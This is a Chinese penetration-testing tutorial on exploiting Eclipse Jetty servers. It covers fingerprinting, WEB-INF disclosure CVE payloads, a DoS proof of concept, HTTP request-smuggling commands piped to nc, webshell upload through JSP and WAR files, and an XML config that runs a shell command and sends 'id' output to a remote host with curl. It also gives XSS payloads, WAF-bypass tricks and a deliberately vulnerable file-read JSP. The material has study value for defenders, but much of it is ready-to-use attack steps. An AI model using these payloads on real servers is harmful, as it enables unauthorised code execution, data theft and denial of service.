Jetty常见利用方式

Jetty

本文首发于先知社区:https://xz.aliyun.com/t/11821

Eclipse Jetty是一个Java Web 服务器和Java Servlet容器。虽然 Web 服务器通常与向人们提供文档相关联,但 Jetty 现在通常用于机器对机器的通信,通常在更大的软件框架内。Jetty 是作为Eclipse Foundation的一部分开发的免费和开源项目。Web 服务器用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geronimo、Apache Maven、Apache Spark、Google App Engine、Eclipse、FUSE、iDempiere、Twitter 的 Streaming API和Zimbra。Jetty 也是Lift、Eucalyptus、OpenNMS、Red5、Hadoop和I2P等开源项目中的服务器。Jetty 支持最新的 Java Servlet API(支持JSP)以及协议HTTP/2和WebSocket。

在开始了解Jetty利用方式之前,需要了解一下关于Jetty小知识

  • $JETTY_HOME映射Jetty分发目录即start.jar启动目录
  • $JETTY_BASE包含配置文件、WEB应用。在Jetty启动机制中,会优先高到低的顺序加载配置:
    • 命令行
    • $JETTY_BASE目录及其文件
    • 使用选项指定的目录--include-jetty-dir及其文件
    • $JETTY_HOME目录及其文件

至于演示使用的环境,除了使用vulhub外,我还自行搭建了一个简单的环境,至于如何搭建建议看官网手册

0x0 特征

0x00 响应Server标头

发送HTTP请求时,响应包的Server标头会返回Jetty版本信息(默认返回)。

image-20221024153215161

0x01 GET请求

在GET请求的URL后面添加;(也有说是;",但是我复现时发现使用;也能达到相同的目的),可以识别大部分的Jetty中间件

Jetty服务器响应包一般都为200Nginx一般为404

Jetty服务器请求数据中添加;test,响应包为200

image-20221024160203498

接着向Nginx服务器请求包添加相同的数据,响应包为404

image-20221024160510484

0x02 404页面

Jetty服务,默认情况下会在404页面显示当前版本信息

image-20221024161349111

0x1 WEB.xml

Web.xml别名部署标识符文件(Deployment Descriptor file),一般来说Web.xml文件一般都是在WEB-INF目录中。Web.xml危害几乎都是信息泄露,无法单独拿该漏洞做文章!

下面看一个简单的Web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<servlet>
<servlet-name>comingsoon</servlet-name>
<servlet-class>mysite.server.ComingSoonServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>comingsoon</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
</web-ap
  • xml文件根元素被命名为web-app
  • servlet服务器设置
  • servlet-name服务器名称
  • servlet-class服务器类
  • servlet-mapping定义servletURL模式之间的映射
  • servlet-name该名称对应servlet-name
  • url-pattern用来解析URL
  • 上面xml文件作用是将网址路径/*映射到mysite.server.ComingSoonServlet应用类

需要注意的是。在Java Servlet Spec 3.0后,可以不用web.xml文件配置应用程序,可以通过Java类和注解到达相同的目的

至于xml其他标识符这里就不继续讲解了,有需要可以访问链接查询

0x2 CVE漏洞

0x01 Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-28164)

影响版本: 9.4.37-9.4.38

直接访问/WEB-INF/web.xml显示404

image-20221024164524523

/WEB-INF/...前面添加/%2e可以绕过下载web.xml,记住不能直接使用浏览器写入/%2e,不然可能会因为浏览器解析问题导致失败

1
/%2e/WEB-INF/web.xml

image-20221024164823621

0x02 Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞(CVE-2021-28169)

影响版本:<= 9.4.40、10.0.2、11.0.2

正常情况无法通过/static?/WEB-INF/web.xml访问到敏感文件web.xml

image-20221025080809061

将W进行双重URL编码可以绕过拦截,访问敏感文件web.xml

1
/static?/%2557EB-INF/web.xml

image-20221025081021094

0x03 Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-34429)

影响版本:9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5

jetty 9.4.40虽然说修复了%2e导致的敏感信息泄露漏洞CVE-2021-28164,但是由于修复不完善还可以使用下面三个方法绕过

  • unicode形式URL编码:/%u002e/WEB-INF/web.xml
  • \0组合.导致的绕过:/.%00/WEB-INF/web.xml
  • \0组合..导致的绕过:/a/b/..%00/WEB-INF/web.xml

访问/%u002e/WEB-INF/web.xml绕过下载

1
/%u002e/WEB-INF/web.xml

image-20221025095103880

0x04 CVE-2020-27223 DOS

影响版本:

  • Jetty 9.4.6——Jetty 9.4.36
  • Jetty 10.0.0
  • Jetty 11.0.0

Eclipse Jetty 9.4.6.v201705319.4.36.v20210114(含)、10.0.011.0.0 中,当Jetty处理包含多个带有大量“质量”(即 q)参数的 Accept标头的请求时,由于处理这些质量值的 CPU 使用率高,服务器可能会进入拒绝服务 (DoS) 状态,从而导致处理这些质量值的CPU时间用尽数分钟。

环境搭建:

1
2
3
git clone https://github.com/motikan2010/CVE-2020-27223
cd CVE-2020-27223
mvn spring-boot:run

环境搭建好了,直接使用环境内的poc脚本

1
./cve-2020-27223-poc1.sh

image-20221108184514359

0x05 jetty走私(CVE-2017-7656、CVE-2017-7657、CVE-2017-7658)

影响版本:

  • 9.2.x:9.2.25v20180606
  • 9.3.x:9.3.24.v20180605
  • 9.4.x:9.4.11.v20280605

想看详细讲解jetty走私过程。推荐看原文:https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4

环境搭建使用Dockerfile

1
2
3
4
5
6
7
8
9
FROM jetty:9.4.9
RUN mkdir /var/lib/jetty/webapps/root
RUN bash -c 'set -ex \
&& cd /var/lib/jetty/webapps/root \
&& wget https://tomcat.apache.org/tomcat-7.0-doc/appdev/sample/sample.war \
&& unzip sample.war'
EXPOSE 8080
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java","-jar","/usr/local/jetty/start.jar"]

运行Dockerfile

  • 遇到tomcat.apache.org证书过期,可以把sample.war软件放到本地http服务器下载

HTTP/0.9

1
2
3
4
5
6
printf 'GET /?test=4564 HTTP/0.9\r\n'\
'Range: bytes=36-42\r\n'\
'\r\n'\
|nc 127.0.0.1 8994

, World

image-20221109142436867

双倍内容长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
printf 'GET /?test=4970 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'Connection: keepalive\r\n'\
'Content-Length: 0\r\n'\
'Content-Length: 45\r\n'\
'\r\n'\
'GET /?test=4971 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'GET /?test=4972 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
|nc 127.0.0.1 8994 | grep "HTTP"

HTTP/1.1 200 OK
HTTP/1.1 200 OK

image-20221109142553691

块大小属性截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
printf 'POST /?test=4975 HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'1ff00000008\r\n'\
'abcdefgh\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'POST /?test=4976 HTTP/1.1\r\n'\
'Content-Length: 5\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
|nc 127.0.0.1 8994|grep "HTTP/1.1"

HTTP/1.1 200 OK
HTTP/1.1 200 OK

image-20221109142708619

0x3 上下文

Jetty当没有设置根应用目录、文件时,会显示webapps里目录信息

image-20221026202001429

image-20221026202016952

如果没有设置根应用程序,而是通过web.xml映射方式提供服务,那么可以采用下面方式获取应用上下文目录

demo-simple.xml配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">

<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="contextPath">/</Set>
<Set name="war"><Property name="jetty.webapps" default="." />/demo-simple.war</Set>
<Set name="virtualHosts">
<Array type="java.lang.String">
<Item>test.local</Item>
<Item>172.22.16.108</Item>
</Array>
</Set>
</Configure>

通过浏览器访问,jetty会正常进行工作,但是,如果我们在Host标头中附带不属于xml Item标签内的信息通过GET请求发送,在应用响应的结果中会显示目录上下文信息

image-20221026204726276

xml Item标签添加127.0.0.1演示

无法通过添加127.0.0.1 Host 标头获取上下文目录信息

image-20221026204940472

使用新的标头,依然可以获取上下文信息

image-20221026205006719

0x4 上传RCE

jsp Jetty是基于Apache Jasper的模块支持JSP

默认情况下,org.eclipse.jetty.jsp.JettyJspServlet负责处理Jetty中的JSP文件。

$JETTY_HOME/etc/webdefault.xml配置文件,默认情况下会将下面类型文件解析为JSP文件

image-20221027033428698

jetty中要解析JSP文件,需要启动jsp模块

1
java -jar start.jar --module=jsp

0x01 常见上传目录

常见上传JSP一般都会保存在$JETTY_BASE/webapps/root,这种RCE方式只需要了解一下就行。

0x02 上传临时目录

Jetty如果没有设置固定的”工作”目录,每次启动服务时生成的临时目录都会附带上随机数字字符串

临时目录结构如下:

1
"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"+randomdigits+"
  • 我看文档说时会在上面的目录结构后加上.dir,但是我环境中就没有发现有加上.dir。这里需要注意一下,有可能是我的问题。
  • 0.0.0.0是主机地址,8080是端口,test_war是resourceBase,test(root)是上下文路径(将/转换为_),any是虚拟主机,randomdigits是一串随机数字。

image-20221028072631125

这里我的上下文目录可能有些多,所以看起来有点乱,只需要知道testroot)代表的是webapps里面的目录即可。

image-20221029043351391

如果能找到已经创建的临时目录,可以尝试上传shell$JETTY_BASE/work/"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"/webapps/

  • 测试时,我发现临时目录中没有webapps目录,那么就无法成功访问。

image-20221029081204841

image-20221029081223762

设置工作目录

设置工作目录只需要在${jetty.base}目录创建一个work目录,而且work目录一般都用作WEB应用程序所有临时文件夹的父目录,启动服务时,会在work目录创建临时目录

在“工作”目录下的临时目录结构如下:

1
"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"

image-20221029012153274

  • 0.0.0.0是主机地址,8080是端口,demo-simple_war是resourceBase,test(root)是上下文路径(将/转换为_),any是虚拟主机。

0x5 上传war文件rce

当无法上传jsp文件时,我们还可以上传war文件GETSHELL

制作war webshell文件只需要将shell文件压缩成war后缀即可

1
zip -r shell.war index.jsp

war文件上传到$jetty_base/webapps/,这样就可以RCE

image-20221102105629689

服务器没有开启jsp模块,那么即使上传war文件也无法RCE,只能使用servlet创建java应用完成RCE

0x6 上传XML文件RCE

除去上述上传jspwar文件可以RCE外,还可以通过上传XML文件进行RCE

XML文件有自己的语法,允许实例化任何对象,并调用gettersetter和方法。

  • 下面只是简单演示复现,如果想看更详细的内容推荐看这个链接

XML代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>
<Array type="String">
<Item>/bin/sh</Item>
<Item>-c</Item>
<Item>curl -F "r=`id`" http://192.168.0.0:80</Item>
</Array>
</Arg>
</Call>
</Call>
</Configure>

XML文件上传后无需要服务器重启,jetty的热部署功能会自动扫描部署新的web应用程序

image-20221102125743304

0x7 上传文件XSS

JETTY服务器不仅可以上传总所周知的.html.svg文件,还可以上传其他冷门扩展名的文件。

有效载荷:

  • xml 载荷<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert('PTSWARM')</script>

  • html 载荷<script>alert('PTSWARM')</script>

我这里比较懒就直接抄作业了

image-20221102133232302

除了上述这些文件可以上传导致XSS外,如果JETTY服务器响应时没有Content-type 标头,可以尝试自定义内容MIME类型,都可以导致XSS,不过载荷一般都是使用<script>alert('PTSWARM')</script>

image-20221102133454447

0x8 Jetty绕WAF

jetty绕过这段,我没弄成本地环境,也找不到相关环境。所以就直接用原文的内容。

原文地址:https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/

0x01 绕过waf拦截目录

了解了Jetty服务器如何解析URL地址,我们可以绕过代理服务器上的过滤器。想象一下,Jetty服务器部署在NGINX代理后面,其规则阻止对 /adminURL/* 的请求。

1
2
3
4
5
6
7
8
location ~ /adminURL/ {
deny all;
}
location / {
proxy_pass http://localhost:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}

如果只在代理上配置了这个规则,我们可以向 /adminURL;random/ 发送HTTP请求,并获得对服务器上受保护资源的访问权限。

39f8e51f-10

0x02 绕过waf读取文件

JSP文件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page import="java.io.File" %>
<%@ page import="java.util.Scanner" %>

<%

File myObj = new File(request.getParameter("filename"));
Scanner myReader = new Scanner(myObj);
while (myReader.hasNextLine()) {
String data = myReader.nextLine();
out.println(data);
}
myReader.close();
%>

应用程序从用户请求中接收filename 参数,使用该参数中的路径打开文件,并将文件内容返回给用户。这是一个允许我们读取任意文件的漏洞。但是,如果应用程序受到WAF的保护,该WAF会阻止所有在GET或POST参数中包含/的请求呢?

WAF拦截情况下,可以利用request.getParameter方法处理参数的方式。getParameter在不同的中间件服务器上工作方式都有所不同。getParameterjetty应用程序调用时,getParameter会在GETPOST参数中查找值。如果使用POST请求发送Content-Type: multipart/form-dataJetty会将该请求使用单独的解析器来解析。

如果POST参数中包含_charset_字段,则多部份解析将使用指定的编码处理所有参数。这样我们可以使用字符编码来绕过WAF拦截,因为WAF不可能识别所有不同编码的字符

947dd8e5-11

图片中使用的是ibm037编码

使用上面的方法绕过waf需要服务器启动多部份处理。如果服务器托管处理文件上传的应用程序,则将启用多部分处理。

不启动多部份处理的服务器可能会跟图片下提示

image-20221108172216918

0x03 jetty 边界解析

解析多部份请求的边界时,解析器在到达;边界字符串就会停止。;后面的所有字符串都会被忽略。

ec1dff1a-12

0x04 jetty 清除反斜杠

jetty从多部份请求中提取参数名称时,会把反斜杠清除,即\[any_symbol]被转换成[any_symbol]。我们可以利用该机制绕过WAF,下面使用XSS漏洞演示

88ca811f-13

参考链接

https://cloud.google.com/appengine/docs/legacy/standard/java/config/webxml#:~:text=and%20URL%20paths-,web.,corresponds%20to%20the%20request%20method.

https://docs.oracle.com/cd/E24329_01/web.1211/e21049/web_xml.htm#WBAPP529

https://examples.javacodegeeks.com/enterprise-java/jetty/jetty-web-xml-configuration-example/

https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/

https://www.eclipse.org/jetty/documentation/jetty-11/operations-guide/index.html

https://mp.weixin.qq.com/s?__biz=Mzg3NjY1MDEwNA==&mid=2247483832&idx=1&sn=1fae284c4e66fc775b66fa11843ee6e5&chksm=cf2e4aaff859c3b94e31090d162203137ae3d69e88fb7efa041fa6c6d8a0f0afa129a8969dcf&scene=126&sessionid=1666801519&key=7d0747fd59e25d7fde7ea56ba3dbd27a46d71079bf4557cddd6dbf67fa6db01e1ddbabb678fd4bcc7224669ee8965fce920d364b72df2693de98b47a8b167470e6d863f08ff16523db3ee676ab857c47f0181b6b4fe51768664afc7f4b10df76c50dab93fd63c3320127442a62713a4a9e4c89703855a75a6dfa7f0a74ecdea1&ascene=15&uin=NTY2NTA4NjQ%3D&devicetype=Windows+Server+2016+x64&version=63070517&lang=zh_CN&session_us=gh_41c701ef9ecc&exportkey=n_ChQIAhIQi5%2BpKMYH%2FDrH1EHxMoTs6hL4AQIE97dBBAEAAAAAAADLOSx1qosAAAAOpnltbLcz9gKNyK89dVj0xiFhktn%2FS0Sp9BKDKmlZ1BjR%2BeKTtT7aNi%2BHCPBh6XL5F0crat5q9zC47pXJ6BunwkDJPOo2g%2FPdt%2BHeJciD1fIHWXKqowMcVhVw%2Buna2LNLFROsCo8PXF%2BqX1lkkGbC3DGY0AlDcB9HUkTAYH0WytQBKhQGYoLbaLISQceAWRnWhhfIsH0x58hFjQc7o8DoOg4DzN2D8L40WLNukN5%2F1z0FnLXUn5LKDtzFymWAGSoPBCVUgkm300gD3Z9maUC7hNJr3lCwAHFmWsbJ5AlPPRG9&ac

https://github.com/motikan2010/CVE-2020-27223

https://github.com/vulhub/vulhub

https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4